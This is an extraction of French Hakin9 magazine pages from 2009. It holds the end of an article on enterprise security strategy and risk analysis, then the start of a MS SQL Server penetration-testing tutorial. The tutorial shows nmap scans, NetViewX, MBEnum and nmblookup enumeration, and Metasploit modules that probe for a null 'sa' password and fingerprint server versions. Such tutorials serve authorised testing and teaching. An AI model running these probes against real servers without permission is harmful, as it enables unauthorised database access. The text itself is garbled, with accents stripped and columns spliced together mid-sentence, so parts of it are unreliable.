FOCUS
ces flux ; En interrogeant notamment les responsables et expert de lentreprise dont le fonctionnement de ces processus nont plus de secret. Dfinir un modle du cycle de vie des donnes dun processus type est un bon point de dpart pour dfinir les scurits mettre en place, quel moment, comment, et surtout pourquoi. Il faut bien garder lesprit que la scurit nest quune partie de la solution pour obtenir un niveau de scurit suffisant. Il ny a pas que les solutions techniques pour rsoudre tous les problmes, il faut aussi prendre en compte le facteur humain et les processus. Les processus reprsentent eux seuls probablement entre 65 et 80% du rsultat. On peut rsumer ces trois facettes dans lquation suivante : obtention de la scurit = personnes + processus + technologies. Bote blanche : Le client fournit lauditeur en scurit informatique les schmas dinfrastructure afin quil dtermine toutes les relations entre les quipements et quil comprenne rapidement quels scnarii dintrusion sont intressants. La ralisation dune tude EBIOS (Expression des Besoins et Identification des Objectifs de Scurit) va permettre d'apprcier et de traiter les risques relatifs la scurit des systmes d'information (SSI). Elle permet aussi de communiquer leur sujet au sein de l'organisme et vis--vis de ses partenaires afin de contribuer au processus de gestion des risques SSI. rpartissez au sein de l'entreprise les responsabilits en matire de scurit, tablissez la liste des mesures prendre en cas d'incident de scurit, adaptez la solution au niveau de risque, mettez au point une approche souple, mais applicable, de la scurit : Cela signifie qu'aucune politique ou technologie ne doit affecter la productivit, enfin, surveillez rgulirement les systmes et les fichiers journaux. Cela vous permettra d'identifier les problmes potentiels et de ragir aux changements rapidement et efficacement.

Mise en place de rgles de scurit

analyse de risques, vulnrabilits, tude de besoins

Il est important de raliser un audit de linfrastructure pour dterminer la scurit mettre en place. En effet, il sagit aussi dun point majeur dans llaboration de la stratgie qui sera appliqu au SI. Il est ncessaire de connatre les points de faiblesses de linfrastructure et pour ce faire des audits sont requis. Un audit de vulnrabilit peut tre ralis de trois manires : Boite noire : Lauditeur na que le nom de la socit. Il consacre un certain temps la collecte dinformations sur Internet afin trouver des quipements, des noms dutilisateurs, etc. lui permettant de sintroduire sur linfrastructure. Lorsquil est capable de dfinir un primtre potentiel pour raliser ses attaques, il le valide avec son client, du fait quil a un cadre lgal respecter et ne peut pas prendre linitiative dattaquer sans laccord de ce dernier, Bote grise : Lauditeur en scurit informatique possde quelques informations, ladresse dun site par exemple, quelques informations sur la topologie,
HAKIN9 4/2009

Grce la prise de contact effectue auprs des dpartements de lentreprise et de votre modlisation des processus mtiers, vous aller pouvoir dterminer quel besoin en scurit il est ncessaire de mettre en place pour scuriser les diffrentes parties du SI. Il est alors possible de raliser une liste des applications stratgiques prsentant de faon globale les besoins en termes de topologie, de services, de protocoles et dapplications pour chaque secteur de lentreprise. Toutes ces informations prcdemment obtenues vont permettre de dterminer les rgles de scurit et daudit ainsi que les configurations et plateformes ncessaires. Lobjectif est dobtenir un dossier technique comprenant ces diffrents points : applications valides/non valides, topologie de lensemble des points de linfrastructure, rgles de scurit, usages acceptables, rles et responsabilits de chacun.

formation du personnel de lentreprise

Pour bnficier dune scurit dautant plus performante, il est primordial de ne pas faire impasse sur le facteur humain. Il est important de faire comprendre aux salaris de lentreprise que la scurit doit faire partie de leur quotidien et quils doivent participer son amlioration. Informer les salaris des rglements de scurit en vigueur (rgles AUP = Acceptable User Policies), faites leur prendre conscience des risques et de limportance de la scurit. Expliquer chaque responsable ses responsabilits en matire de scurit et la ncessit de sensibiliser son quipe. On peut reprendre lexemple clich du mot de passe crit sur un post-it

la gestion de risque

autres points importants


Soyez attentif aux vnements plutt quaux chronologies : De nouvelles technologies naissent et de nouvelles menaces apparaissent tous les jours,

Tout dabord, avant de vouloir mettre en place des rgles, la premire chose faire et de dterminer ce qui est vraiment important, voire vital, pour lentreprise afin de pouvoir la protger. Ensuite, il faudra dterminer les risques encourus pour adapter la protection cette entreprise. Lanalyse de risques a pour objectif de dterminer les risques pour pouvoir agir sur ceux qui sont inacceptables. La dmarche est la suivante : Identifier les biens et leur assigner une valeur, identifier les vulnrabilits et les menaces,

28

StrAtgIe de ScurIt eN eNtreprISe


calculer les risques associs, estimer les pertes et dommages potentiels, fournir des solutions. dterminer la perte unitaire SLE (Single Loss Expectancy) en cas dexposition qui se calcule grce au facteur dexposition EF (Exposure Factor c'est-dire le pourcentage de la valeur du bien reprsentant la perte).
SLE = Valeur du bien x EF ALE = SLE x ARO

On distingue deux grandes mthodes danalyse de risques : la mthode quantitative est celle o on assigne des valeurs en euros () aux biens. La seconde mthode est dite qualitative et est base sur des opinions. On utilise des notes pour les biens, les vulnrabilits et les menaces et on dtermine diffrents scnarios. Cette mthode prsente linconvnient de ne pas donner de chiffres et lentreprise peut prfrer quon lui en prsente. La mthode danalyse de risques quantitative va appliquer pour chaque bien une valeur (en euros par exemple). Une des faons de procder consiste utiliser la mthode ALE (pour Annual Loss Expectation) qui consiste calculer la perte annuelle attendue daprs la frquence annuelle doccurrence de lincident ARO (Annual Rate Occurrence). LALE va alors permettre de savoir le budget annuel ne pas dpasser en scurit. Pour le calculer, il va falloir P U

Il reste alors dterminer si le niveau de risque rsiduel est acceptable ou non pour lentreprise. Le fait quil soit acceptable peut tre une dcision financire ou base sur un respect de la rglementation. Une fois quun risque a t identifi, il y a quatre actions possibles : diminuer le risque : par mise en place dune contre-mesure, transfrer le risque : en souscrivant une assurance, accepter le risque : le laisser tel quel parce quil est acceptable (dans le cas o la diminution du risque cote plus cher que ce coterait une exposition), ignorer le risque : ngligence, condamne par la justice. lLes normes, standards et mthodes ISO 27001 est une norme pour la gestion de la scurit (Information Security Management System). Il est possible de faire certifier le processus de gestion de la scurit, dans une dmarche damlioration continue. Ce processus de gestion de la scurit comprend ltablissement dune politique, la dfinition dobjectifs, la T

Revenons maintenant la gestion de risques, dune manire gnrale, quelle que soit la mthode danalyse de risques que vous ayez utilis, quantitative ou qualitative. Au dpart, on identifie un risque initial ou risque total :
Risque total = Valeur du bien x Menaces x Vulnrabilits

Ensuite, aprs applications de moyens de protection supplmentaires on se retrouve avec un risque diminu ou risque rsiduel :
Risque rsiduel = Risque total x Facteur dattnuation des contre-mesures(ALE avant ALE aprs)

4/2009 HAKIN9

29

FOCUS
dmarche permettant datteindre les objectifs (mise en place, exploitation), les mesures permettant lamlioration. ISO 27002 (ex ISO 17799) est une norme internationale de bonnes pratiques qui liste des domaines (politique de scurit, organisation de la scurit, biens sensibles, contrle daccs, rglementation, audit, personnes, locaux, communication et exploitation, dveloppement des applications, continuit dactivit) et des mesures de scurit recommands appliquer ces domaines MARION, MEHARI, EBIOS sont des mthodes danalyse des risques (les deux premires du CLUSIF, la dernire de la DCSSI) Les critres communs ITIL est une mthodologie dexploitation des systmes dinformation La future loi Hadopi modifier (rajout de droits, ajout dans dautres groupes) afin de disposer des privilges systmes lors dune futur connexion. Si un compte semble suspect, vrifier son appartenance un utilisateur et dans le doute dsactiverle plutt que de le supprimer dans un premier temps. Un dernier point vrifier est le contrle daccs au systme, vrifier les journaux : Reprer toute utilisation anormale, un nombre derreurs important ou toute information suspecte. Si les logs ne sont pas suffisamment exhaustif, reconfigurez les en fonction de vos besoin mais faites attention au volume dinformations gnrs qui peut rapidement devenir ingrable, rparer les systmes corrompus : Dans l'idal, un systme pirat doit tre recr ou restaur intgralement partir d'une sauvegarde effectue avant l'attaque. Cependant il faudra bien choisir la sauvegarde; Surtout si lon ne sait pas depuis combien de temps notre systme est infect. Pensez vrifier la sauvegarde aprs restauration et avant de la connecter au reste du rseau de lentreprise. Appliquez un correctif logiciel (patch) aux diffrents systmes et services hbergs afin de supprimer toute vulnrabilit, raliser un audit : un audit de linfrastructure doit tre ralis le plus rapidement possible afin de dterminer si des vulnrabilits subsistent et pour aider/simplifier/augmenter la rapidit de la scurisation des systmes. Dautres tudes pourront tre ralises par la suite pour continuer la scurisation et laccrotre toujours plus, reconnecter vos systmes : Lors de la reconnexion de vos systmes au rseau vrifier tout comportement bizarre une fois le dialogue repris avec les autres machines, et vrifier le trafic transitant au niveau du firewall vers lInternet pour dtecter toutes informations non autorises qui souhaiterait sortir du rseau local.

Sur Internet
http://www.27000.org/iso-27001.htm http://www.zdnet.fr/actualites/ informatique/0,39040745,391158492,00.htm http://www.hsc.fr/ressources/ presentations/emiae-intro27001/ img0.html http://www.clusif.asso.fr/fr/production/ ouvrages/type.asp?id=METHODES http://www.ssi.gouv.fr/fr/confiance/ ebiospresentation.html) http://www.itil.co.uk http://www.microsoft.com/belux/fr/ business/security/assessing_security_ value.mspx http://www.microsoft.com/belux/fr/ business/security/basics.mspx http://www.27000.org/iso-27002.htm http://www.ssi.gouv.fr/ Cursus scurit SUPINFO Livre Eyrolles:Scurit informatique : Principes et mthodes Livre Campus Press:Scurit maximale, des systmes et rseaux

les mesures prendre aprs un piratage

Lorsque votre systme dinformation a subit une attaque il est primordial de ragir et dappliquer des mesures de scurit trs rapidement. Si vous avez remarqu que lattaque provenait de lextrieur, il peut tre intressant de couper la liaison Internet le temps de mettre en place des mesures pour viter que lintrus puisse se reconnecter sans que lon sache comment il a fait. Ensuite il est ncessaire de raliser diffrentes oprations pour remdier aux problmes. faire une image du systme des machines attaques : Lavantage de raliser une image du systme va permettre de pouvoir travailler sur le systme tel qui a t laiss par le pirate avec ses traces, ses logs ventuels etc. Une fois le systme rinstall ces informations ne seront plus disponibles et donc lidentification du pirate sera dautant plus difficile, tester les systmes pour dtecter les intrusions : Pour commencer, la vrification des stratgies et des comptes locaux et dannuaires est primordiale. Le pirate a pu se crer un compte, en ractiver un, en
HAKIN9 4/2009

doit tre dment rflchit si on veut pouvoir disposer dune scurit sans faille. Plusieurs tapes sont ncessaires son laboration et elle ne doit pas tre applique en fonction du besoin au cas par cas mais de manire globale et spcifique en amont de tout problme de scurit. Pour une entreprise, il est important de scuris le SI, si elle ne veut pas risquer de se faire voler des informations bnfiques qui dans les mains dun concurrent serait une perte considrable, ou mme aboutir la faillite cause dun SI dtruit. De plus en plus les entreprises scurise leur SI et utilise cet argument comme un atout pour leurs clients qui seront rassurs de savoir que lentreprise fait tout pour tre labri de problmes et capable dassurer un service aux clients sans incident de scurit.

Nicolas renard

Conclusion

Nous avons donc pu voir au cours de cette article quune stratgie de scurit

Actuellement en dernire anne d'ingnieur SUPINFO et certifi CISCO CCNA et Network Security, l'auteur est passionn de scurit informatique et effectue actuellement un stage de fin d'tude chez Orange Business Service en scurit. Pour contacter l'auteur : nicolas.renard@ supinfo.com

30

StrAtgIe de ScurIt eN eNtreprISe

4/2009 HAKIN9

31

BACKUP
GrzeGorz Gazowski

Test

de pntration des services Ms sQL server


Degr de difficult

Ceux qui cherchent une manire d'accder illgalement une base de donnes utilisent tout point faible du systme. Parmi toutes les technologies connues dans le monde, aucune n'est aussi constamment observe que les bases de donnes.

Cet artiCle explique


comment analyser distance les systmes de la famille SQL Server ; vous apprendrez les mthodes pour hacker les mots de passe en SQL Server 2000 et 2005 ; comment utiliser les outils d'audit.

Ce qu'il faut savoir


connatre les notions d'utilisation de MS SQL Server 2000 et 2005 ; utiliser efficacement les programmes au niveau de la ligne de commandes ; avoir des notions d'utilisation du systme MS Windows et Linux. 32 HAKIN9 4/2009

l existe un grand risque que les donnes des bases de donnes peuvent tomber dans les mains des personnes indsirables. Pour se protger contre cette menace, les entreprises sont obliges d'analyser sans cesse les principes de la scurit employs pour les paquets de logiciels et leurs propres applications. Microsoft SQL Server est un environnement populaire et infaillible pour de nombreuses applications utilisant les bases de donnes ; trs souple, il propose un grand nombre de fonctionnalits. Malheureusement, si ce potentiel n'est pas bien protg, il peut tre employ d'une manire non autorise. L'objectif de cet article consiste dfinir des types de risques qui peuvent couler d'une gestion impropre de Microsoft SQL Server. SQL Server permet tous les utilisateurs par dfaut d'accder la base de donnes principale contenant tous les paramtres du programme, y compris, toutes les informations que SQL Server utilise pour ouvrir une base de donnes. Il contient galement tous les identifiants de connexion SQL, les donnes des serveurs connects, etc. Bien videmment, les utilisateurs de base ne peuvent pas accder toutes les ressources d'information. Les noms de comptes et de bases de donnes (y compris les informations qui s'y trouvent) peuvent toutefois tre accessibles des utilisateurs non habilits. Cet article prsentera les erreurs les plus frquentes des bases de donnes et de leurs

services, il expliquera galement les mthodes d'identification et de leur utilisation au moyen des outils accessibles du niveau des systmes Linux et Windows. Les case studies (utilisation des outils d'audit ouverts et ferms) vous proposeront une approche universelle d'utilisation des outils et des techniques prsentes dans notre article. Les connaissances acquises sur les exemples pratiques pourront tre utilises directement par rapport au monde rel. Tous ceux qui souhaiteront raliser des tests sur les bases de donnes devront dans un premier temps faire connaissance d'un ensemble lmentaire des outils et des technologies ncessaires pour un audit efficace. Premirement, les termes de base : dfinition d'une base de donnes et de tous les lments constituant un systme typique de gestion des bases de donnes. Ensuite, plusieurs caractristiques d'un systme de gestion des bases de donnes employ frquemment, soit Microsoft SQL Server, y compris, ses comptes d'utilisateurs par dfaut ainsi que sa structure. Dans la phase finale, les dtails techniques de l'installation d'une base, y compris les ports, les protocoles par dfaut ainsi que d'autres informations importantes pour les tests de pntration.

termes lmentaires

Qu'est-ce qu'une base de donnes et quelle est la diffrence entre une base de donnes

TesT de pNTrATIoN des servIces Ms sQL server


et un systme de gestion des bases de donnes ? Une base de donnes est un ensemble coordonn d'informations qui est rassembl d'une manire organise. Un systme de gestion des bases de donnes est un programme informatique employ pour accder, grer et actualiser les informations dans la base de donnes. partir de ce moment-l et jusqu' la fin de notre article, les termes du systme de gestion des bases de donnes et de la base de donnes seront employs alternativement pour se rfrer aux termes de la base de donnes et du systme de gestion des bases de donnes.

Listing 1. Scan de nmap avec l'option -sL


gsg ~ # nmap -sL 10.0.0.210-215 Starting Nmap 4.20 ( http://insecure.org ) at 2009-02-02 13:12 GMT Host 10.0.0.210 not scanned Host 10.0.0.211 not scanned Host mssql2000.pl (10.0.0.212) not scanned Host mssql2005.pl (10.0.0.213) not scanned Host 10.0.0.214 not scanned Host 10.0.0.215 not scanned Nmap finished: 6 IP addresses (0 hosts up) scanned in 0.012 secondes gsg ~ #

installation d'une base de donnes

Comprendre ce qui se passe, une fois la base de donnes installe, est trs important pour comprendre l'approche des analyses de la structure de la base de donnes. L'installation d'une base de donnes ressemble l'installation d'autres programmes. Les besoins d'une base de donnes sont uniques et le logiciel de base de donnes n'est souvent qu'une application installe sur un serveur ou une station de travail. Crer une base de donnes relle demande une attention et des connaissances particulires. Les systmes diffrents, y compris SQL Server, sont dots d'une fonction de

cration des bases de donnes au moyen d'un crateur, des scripts ou manuellement. Lorsqu'une base de donnes est cre, des comptes des utilisateurs par dfaut, leurs rles et droits sont galement crs. L'administrateur de la base de donnes doit protger de nombreux lments par dfaut susmentionns au moment de les raliser. Protger des bases de donnes est plus difficile que la plupart d'autres systmes. Si la base de donnes est productive, rparer ou raliser des protections peut entraner son fonctionnement incorrect. Il est important que les exigences de scurit soient intgres dans le systme au mme moment que les exigences fonctionnelles des bases de donnes. Si un programmeur ou administrateur cre une base de donnes au moyen des paramtres par dfaut, sans aucune

indication relative aux exigences de scurit, ces bases de donnes pourront tre dotes de nombreuses fonctions qui la dsavantageront du point de vue de la scurit.

utilisateurs de Microsoft sql server

En SQL Server, on cre un compte appel sa, autrement dit, le compte de l'administrateur du systme du programme SQL Server, du propritaire de la base de donnes (dbo) et de toutes les bases de donnes sur le serveur SQL. Le compte de connexion sa est connect au rle sysadmin. Il constitue galement un compte dbo pour toutes les bases de donnes. Ce compte attribue par dfaut tous les privilges et les droits et il est ainsi possible de faire les commandes systme sur le serveur SQL.

Tableau 1. Rles fixes d'une base de donnes en SQL Server rle intgr d'une base de donnes db_accessadmin db_accessadmin db_backupoperator db_datareader db_datawriter db_ddladmin droits au niveau de la base de donnes Attribus : ALTER ANY USER, CREATE SCHEMA Option attribue GRANT : CONNECT Attribus : BACKUP DATABASE, BACKUP LOG, CHECKPOINT Attribus : SELECT Attribus : DELETE, INSERT, UPDATE Attribus : ALTER ANY ASSEMBLY, ALTER ANY ASYMMETRIC KEY, ALTER ANY CERTIFICATE, ALTER ANY CONTRACT, ALTER ANY DATABASE DDL TRIGGER, ALTER ANY DATABASE EVENT, NOTIFICATION, ALTER ANY DATASPACE, ALTER ANY FULLTEXT CATALOG, ALTER ANY MESSAGE TYPE, ALTER ANY REMOTE SERVICE BINDING, ALTER ANY ROUTE, ALTER ANY SCHEMA, ALTER ANY SERVICE, ALTER ANY SYMMETRIC KEY, CHECKPOINT, CREATE AGGREGATE, CREATE DEFAULT, CREATE FUNCTION, CREATE PROCEDURE, CREATE QUEUE, CREATE RULE, CREATE SYNONYM, CREATE TABLE, CREATE TYPE, CREATE VIEW, CREATE XML SCHEMA COLLECTION, REFERENCES Interdits : SELECT Interdits : DELETE, INSERT, UPDATE Option attribue : GRANT : CONTROL Attribus : ALTER ANY APPLICATION ROLE, ALTER ANY ROLE, CREATE SCHEMA, VIEW DEFINITION
4/2009 HAKIN9 33

db_denydatareader db_denydatawriter db_owner db_securityadmin

BACKUP
Listing 2. Scan avec Nmap
gsg ~ #nmap -sL 10.0.0.210-215 Starting Nmap 4.20 ( http://insecure.org ) at 2009-02-02 12:30 GMT Host 10.0.0.210 not scanned Host 10.0.0.211 not scanned Host mssql2000.pl (10.0.0.212) not scanned Host mssql2005.pl (10.0.0.213) not scanned Host 10.0.0.214 not scanned Host 10.0.0.215 not scanned Nmap finished: 6 IP addresses (0 hosts up) scanned in 0.021 seconds

port Number service service description description des options Nmap


1433/tcp ms-sql-s Microsoft-SQL-Server 1434/udp ms-sql-m Microsoft-SQL-Monitor

Listing 3. Scan de Nmap


gsg ~ #nmap -sSUV -P0 -T4 -pT:1433,U:1434 10.0.0.213 Starting Nmap 4.20 ( http://insecure.org ) at 2009-02-02 12:35 GMT Interesting ports on mssql2005.pl (10.0.0.213): PORT STATE SERVICE VERSION 1433/tcp open ms-sql-s? 1434/udp open ms-sql-m Microsoft SQL Server 0.00.1399.06 (ServerName: MSSQL2005; TCPPort: 1433) MAC Address: 00:0C:31:DF:5A:01 Service Info: OS: Windows Service detection performed. Please report any incorrect results at http:// insecure.org/nmap/submit/ Nmap finished: 1 IP address (1 host up) scanned in 26.834 seconds

sS scan de TCP SYN sU scan de UDP sV vrification du systme afin de dcouvrir les ports ouverts, de dfinir les services et d'obtenir des informations sur leurs versions, P0 scanner tous les htes disponibles en-ligne T4 configure la dure du modle (plus elle est leve, plus il est rapide) pT:1433,U:1434 tendue des ports. Lors du scan de deux ports TCP et UDP, il est possible de dterminer un protocole concret du numro prcdent du port via T: ou U:.

Listing 4. NetViewX utilisation des commandes


C:\cmd>NETVIEWX.EXE -h Usage:netviewx [-D domain] [-T type...] [-0 format : -x] [-t | -c x] [-C x] Lists current nodes in a domain that matches servers running specific services. Version: v0.5 19990203. -D domain The domain to list. Default is the current domain. -T type... The service types to match, Can be one or more of: workstation, server, sqlserver,domain_ctrl, domain_bakctrl, time_source, afp, novell, domain_member, printing_server, dialin_server, server_mfpn, server_nt, server_osf, server_unix, nt, wfw, potential_browser, backup_browser, master_browser, domain_master, server_vms, windows, dfs, cluster_nt, dce, alternate_xport, local_list_only, domain_enum, all. Default is all. -0 format Selects the fields to list for the servers. The format should be a string of letters, where: n=name, m=major version, i=minor version, p=platform id, T=service types, C=comment in quotes, c=comment witch major and minor version. Default is nmipTC. -x A shorthand for -0nsvtc -c " " -C + -t Separate fields with tabs. Default is comma (,). -c x separate fields with the character x. -C x Separate the server types with the character x. Default is to separate the types with x. C:\cmd>NETVIEWX.EXE -D gsgcorp -T sqlserver MSSQL2000,5,0,500,nt%workstation%server_nt%server%sqlserver%backup_browser%master_ browser%2000000,"" MSSQL2005,5,0,500,nt%workstation%server_nt%server%sqlserver%backup_browser %2000000,""

sql server rles et droits

Microsoft SQL Server est dot d'une gestion simplifie des droits grce la construction des rles. Afin d'aider les administrateurs crer, modifier, supprimer et vrifier les comptes, SQL Server est quip d'un ensemble des rles intgrs de la base de donnes. Il est possible de les employer pour grouper les utilisateurs. Dans le cas o nous groupons les utilisateurs avec les mmes besoins d'accs, il est galement possible de crer nos propres rles de base de donnes et d'attribuer les droits aux groupes au lieu de le faire chaque utilisateur individuellement.

sQL server : procdures stockes et tendues


Les procdures stockes contiennent des fragments du code crit dans le langage Transact-SQL (T-SQL) ; ces fragments sont partags pour une utilisation tendue. sp _ addlogin constitue un exemple d'une procdure utile, employe pour crer un nouvel utilisateur. Les procdures tendues ressemblent aux procdures stockes, moins de contenir des liens des bibliothques dynamiques (DLL). Les procdures tendues de lancement de SQL Server servent augmenter les fonctionnalits de la base de donnes sur

Au moment de crer un compte d'un nouvel utilisateur SQL Server, les administrateurs (DBA) doivent veiller attribuer des privilges et des rles appropris pour cet utilisateur. Il est galement possible de configurer SQL Server pour utiliser une authentification seulement des utilisateurs du systme Windows ou en combinaison avec SQL Server ; ce mode s'appelle un mode d'authentification mixte. Lorsqu'un nouveau compte est cr, l'utilisateur peut
34 HAKIN9 4/2009

s'authentifier dans la base et y travailler dans les limites de ses droits et fonctions. Le mode d'authentification du systme Windows facilite le travail l'utilisateur car il ne doit retenir qu'un seul mot de passe mais cette solution peut crer des failles potentielles. Si l'authentification de l'utilisateur Windows est atteinte et la base de donnes utilise ce type d'authentification, accder cette base peut constituer un jeu d'enfant. Du point de vue de la scurit, c'est une trs grande menace.

TesT de pNTrATIoN des servIces Ms sQL server


le serveur. xp _ cmdshell est l'une des procdures tendues utiles dans les tests de pntrations ; elle permet l'utilisateur de faire une commande dans le shell du systme d'exploitation Windows. Comme vous pouvez le constater, les procdures stockes dans SQL Server peuvent amliorer considrablement les fonctionnalits des bases de donnes. Elles peuvent cependant former aussi des failles importantes dans la scurit.

publication de la version sqlservr.exe


Released to Manufacturing (RTM) 2000.80.194.0 SQL Server 2000 Service Pack 1 2000.80.384.0 SQL Server 2000 Service Pack 2 2000.80.534.0 SQL Server 2000 Service Pack 3 2000.80.760.0 SQL Server 2000 Service Pack 3a 2000.80.760.0 SQL Server 2000 Service Pack 4 2000.8.00.2039 SQL Server 2005 Service Pack 1 2005.90.2047 SQL Server 2005 Service Pack 2 2005.90.3042

communication
Une fois la base de donnes installe, l'utilisateur doit pouvoir s'y connecter pour y travailler. Les protocoles TCP (Transmission Control Protocol) et UDP (User Datagram Protocol) sont utiliss pour la communication. SQL Server emploie par dfaut le port TCP 1433 pour se connecter la base de donnes. Ce port peut bien videmment tre modifi mais en gnral, il ne l'est pas. La plupart des utilisateurs peuvent savoir quel est le port TCP utilis par dfaut pour le programme SQL Server mais de nombreux d'entre eux ne se rendent pas compte que le port UDP est aussi fortement li la base de donnes. Le port UDP 1434 permet aux clients de parcourir la base. Ce port peut constituer un objectif d'une attaque de nombreux vers et peut tre utilis pour une attaque par dbordement de tampon. La socit Microsoft a publi une correction de ce problme mais cette faille est toujours prsente dans de nombreux environnements.

des adresses IP pour les noms du hte y est prsente. Le rsultat du scan avec le scanneur Nmap a retourn une liste d'adresses IP ; il retournera galement un nom rsolu mssql2000 et mssql2005. partir des rsultats obtenus, nous pouvons dterminer qu'il est fortement probable qu'un programme Microsoft SQL Server 2000 est lanc l'adresse 10.0.0.212 et le programme Microsoft SQL Server 2005 est lanc l'adresse 10.0.0.213.

scan des ports tCp et uDp

Scanner les ports est une opration consistant envoyer des paquets TCP ou UDP au systme afin de vrifier les ports

ouverts et les services disponibles. Il est possible de scanner le rseau avec un programme comme Nmap qui aide dterminer quels htes sont actifs et quels ports TCP et UDP sont ouverts pour ces htes. Les Listing 2 et Listing 3 prsentent le scan l'aide de Nmap la recherche du serveur Microsoft SQL et des ports TCP et UDP par dfaut (cf. encadr Port Number Service Service Description), en utilisant les options dcrites dans l'encadr Description des options Nmap. Nmap a prsent les informations concernant la version du serveur et les ports utiliss, y compris l'information relative l'adresse MAC. Nmap permet galement de dterminer quelle est la

Listing 5. Utilisation du programme MBEnum


C:\cmd\mbenum MBEnum v.1.5.0 by patrik@cqure.net ---------------------------------------------mbenum [-s \\server] [-d don ] [-f filter] -p <mode> Presentation modes: 1 - by server 2 - by service 3 - by service vertically c:\cmd>mbenum.exe -d gsgcorp -f "SQL Server" -p 1 MBEnum v.1.5.0 by patrik@cqure.net Name: MSSQL2005 Services: Server, Workstation, SQL Server, Term, server, Member server Comment: OS Version: Windows 2003 Server Name: MSSQL2000 Services: Server, Workstation, SQL Server, Master browser, Term, server, Member server Comment: OS Version: Windows 2003 Server

utilisation des outils d'audit ouverts et ferms

La premire tape pour effectuer tout test de pntration consiste dcouvrir quels ports sont ouverts sur un hte donn ainsi que sur les services y lis. Les tapes suivantes prsenteront les mthodes d'identification de Microsoft SQL Server. DNS (Domain Name System) est un processus de rsolution de noms d'htes depuis les adresses IP (Internet Protocol). Les noms descriptifs peuvent rvler de nombreuses informations, telles que le type du systme d'exploitation et des services lancs sur le systme donn. Le Listing 1 prsente un scan populaire des ports Nmap l'aide duquel il est possible de scanner (avec l'option -SL), l'tendue

Listing 6. Rsolution de noms NetBIOS en adresses IP avec nmblookup


gsg ~ # nbmlookup MSSQL2000 querying MSSQL2000 on 10.0.0.255 10.0.0.212 MSSQL2000<00> gsg ~ # nmblookup MSSQL2005 querying MSSQL2005 on 10.0.0.255 10.0.0.213 MSSQL2005<00>

4/2009 HAKIN9

35

BACKUP
Listing 7. Actualisation de Metasploit l'aide de Subversion (SVN)
gsg ~ # cd /pentest/exploits/framework3/ gsg framework3 #svn update

Listing 7a. Actualisation de Metasploit l'aide de Subversion (SVN)


gsg framework3 # ./msfcli |grep -i mssql exploit/windows/msql/ms02_039_slammer exploit/windows/mssql/ms02_056_hello auxiliary/scanner/mssql/mssql_login auxiliary/scanner/mssql/mssql_ping Microsoft SQL Server Resolution Overflow Microsoft SQL Server Hello Overflow MSSQL Login Utility MSSQL Ping Utility

version du serveur, si des supplments tels que Service Pack sont installs et si c'est le cas, lesquels. L'encadr Publication de la version Sqlservr.exe sera utile pour dterminer la version du serveur ; cet encadr prsente de nombreuses versions diffrentes de sqlserv.exe.

NetBios et protocole server Message Block (sMB)

Listing 8. Obtention des informations dtailles l'aide du paramtre S


gsg framework3 # ./msfcli auxiliary/scanner/mssql/mssql_login S Name: MSSQL Login Utility Version: 4749 Provided by: MC y0@w00t-shell.net Basic options: Name Current Setting Required Description --------------------------------------------RHOSTS yes The target address range or CIDR identifier RPORT 1433 yes The target port THREADS 1 yes The number of concurrent threads Description: This module simply queries the MSSQL instance for a null SA account. gsg framework3 # ./msfcli auxiliary/scanner/mssql/mssql_login RHOSTS=10.0.0.212 E [*] Target 10.0.0.212 does have a null sa account... gsg framework3 ./msfcli auxiliary/scanner/mssql/mssql_login RHOSTS=10.0.0.212 E [*] Target 10.0.0.212 does have a null sa account... gsg framework3 # ./msfcli auxiliary/scanner/mssql/mssql_login S Name: MSSQL Login Utility Version: 4749 Provided by: MC y0@w00t-shell.net Basic options: Name Current Setting Required Description --------------------------------------------RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads Description: This module simply queries the MSSQL instance for information.

gsg [*] [*] [*] [*] [*] [*] gsg [*] [*] [*] [*] [*] [*] gsg

framework3 # ./msfcli auxiliary/scanner/mssql/mssql_ping RHOSTS=10.0.0.212 E SQL Server information for 10.0.0.212: tcp =1433 np = \\MSSQL2000\pipe\sql\query Version = 8.00.194 IsClustered = No InstanceName = MSSQLSERVER framework3 # ./msfcli auxiliary/scanner/mssql/mssql_ping RHOSTS=10.0.0.213 E SQL Server information for 10.0.0.213: tcp = 1433 Version =9.00.1399.06 ServerName =MSSQL2005 IsClustered =No InstanceName =MSSQLSERVER framework3 #

Les informations relatives aux services enregistrs sont intgres au navigateur principal dans les systmes Microsoft Windows Server ainsi que dans les stations de travail. NetViewX (www.ibt.ku.dk/jesper/NetViewX/) et MBEnum (www.cqure.net/wp/?page_ id=20). Il s'agit de deux programmes qui peuvent tre employs pour envoyer des requtes au navigateur principal et pour obtenir ainsi des informations relatives aux services enregistrs. L'analyse du systme Microsoft SQL Server au moyen du protocole SMB est trs rapide et quasi indtectable (comme s'il s'agissait d'un travail ordinaire avec SMB) et il est possible de dcouvrir des services paramtrs pour couter sur un port TCP (1433/tcp) par dfaut, protgs par un pare-feu ou lorsque le service n'est pas autoris se connecter distance, comme c'est le cas de certaines versions. Les Listings 4 et 5 prsentent comment employer correctement les commandes et raliser le programme NetViewX et MBEnum. Ces exemples font une requte du domaine gsgcorp avec Microsoft SQL Servers 2000 et 2005. Dans les deux exemples, les rsultats de la requte contiennent les noms NetBIOS (MSSQL2000 et MSSQL2005) et n'ont pas d'adresses IP y lies. Comme vous pouvez le constater sur le Listing 6, il est possible d'utiliser l'outil nmblookup qui rsoudra les noms NetBIOS en adresses IP. Une fois la base de donnes et le serveur cible dcouverts, l'tape suivante consistera identifier les points faibles dans les services. Metasploit Framework sera un outil trs utile pour effectuer cette tche. Il s'agit d'un paquet qui, dvelopp comme une plate-forme pour crer des outils chargs de dcouvrir les failles systmes, utilise galement les fonctionnalits du scanneur Nessus.

36

HAKIN9 4/2009

TesT de pNTrATIoN des servIces Ms sQL server


Metasploit framework 3
mode mixte. Ce mode n'est pas paramtr par dfaut. Son utilisation frquente est lie aux problmes de conformit avec certaines applications qui ncessitent le programme Microsoft SQL Server ou bien une authentification par l'utilisateur sa. Les logins et les mots de passe sont stocks dans Microsoft SQL Server. il est ncessaire d'introduire une politique de forcer les mots de passe pour une connexion standard. En SQL Server, il est possible de mettre en place une politique Microsoft Windows pour une connexion standard de sorte que les principes cohrents soient employs pour tous les comptes dans le domaine. Forcer les mots de passe peut tre configur manuellement, conformment la politique du systme d'exploitation. En SQL Server 2005, les zones suivantes pour

